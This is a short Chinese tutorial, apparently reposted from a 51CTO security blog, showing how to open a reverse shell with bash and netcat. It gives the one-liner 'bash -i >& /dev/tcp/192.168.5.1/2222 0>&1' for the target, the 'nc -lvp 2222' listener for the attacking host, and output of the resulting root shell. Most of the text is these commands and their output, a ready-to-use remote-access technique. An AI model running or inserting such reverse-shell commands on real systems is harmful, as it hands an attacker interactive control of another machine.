bash是一个命令解释语言，能够执行读取标准输入或文件的命令，可以执行命令以及结合nc进行反弹shell！
基本使用语法
|
1
|
bash
-c 命令
|
|
1
2
3
|
root@kali:~
# bash -c whoami
root
root@kali:~
#
|
另外使用-i表示以交互方式运行shell，通常在目标主机上运行
|
1
|
bash
-i >&
/dev/tcp/192
.168.5.1
/2222
0>&1
|
然后另一台主机使用nc进行监听该端口，即可获取到一个shell！
目标主机：
|
1
|
root@kali:~
# bash -i >& /dev/tcp/192.168.5.1/2222 0>&1
|
攻击主机：
|
1
2
3
4
5
6
7
8
9
10
11
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222
lstn on [any] 2222 ..
192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA
connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA
root@kali:~
# uname -a
uname
-a
Linux kali 4.6.0-kali1-amd64
#1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~
# whoami
whoami
root
root@kali:~
#exit
|
本文转自 eth10 51CTO博客，原文链接:http://blog.51cto.com/eth10/1960279
